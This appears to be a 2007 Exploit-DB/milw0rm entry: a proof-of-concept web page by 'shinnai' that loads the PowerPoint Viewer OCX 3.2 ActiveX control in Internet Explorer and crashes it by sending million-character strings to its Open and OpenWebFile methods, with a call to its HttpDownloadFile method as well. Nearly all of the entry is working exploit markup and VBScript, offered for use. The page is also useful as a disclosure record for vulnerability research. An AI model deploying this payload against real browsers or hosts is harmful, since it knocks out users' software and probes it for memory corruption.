PowerPoint Viewer OCX 3.2 ActiveX Control Denial of Service Exploit

ID EDB-ID:3826
Type exploitdb
Reporter shinnai
Modified 2007-05-01T00:00:00


PowerPoint Viewer OCX 3.2 (ActiveX Control) Denial of Service Exploit. CVE-2007-2494. Dos exploit for windows platform

                                            <span style="font: 14pt Courier New;"><p align="center"><b>2007/05/01</b></p></span>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------
 <b>PowerPointViewer.ocx v. multiple methods Denial of Service</b>
 url: http://www.officeocx.com/
 price: from €63.95 (update to last version) to €1,585.95 (Royalty)

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to these exploits.
 Theese methods are vulnerable too:


<object classid='clsid:97AF4A45-49BE-4485-9F55-91AB40F22B92' id='PowerPointOCX' width="405" height="50"></object>

<select style="width: 404px" name="Pucca">
  <option value = "HttpDownloadFile">HttpDownloadFile</option>
  <option value = "Open">Open</option>
  <option value = "OpenWebFile">OpenWebFile</option>
  <option value = "Quoting">Quoting...</option>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  on error resume next
   Dim MyMsg
   if Pucca.value = "HttpDownloadFile" then
     argCount = 2
     PowerPointOCX.HttpDownloadFile arg1, arg2
   elseif Pucca.value = "Open" then
     argCount = 1
     arg1=String(1000000, "A")
     PowerPointOCX.Open arg1
   elseif Pucca.value = "OpenWebFile" then
     argCount = 1
     arg1=String(1000000, "A")
     PowerPointOCX.OpenWebFile arg1
     MyMsg = MsgBox ("...And when he knew for certain" & vbCrLf &_
     "Only drowning men could see him" & vbCrLf &_
     "He said: 'All men will be sailors then" & vbCrLf &_
     "Until the sea shall free them'...",64 ,"2007/05/01 - PowerPointViewer 3.1")
   end if
 End Sub

# milw0rm.com [2007-05-01]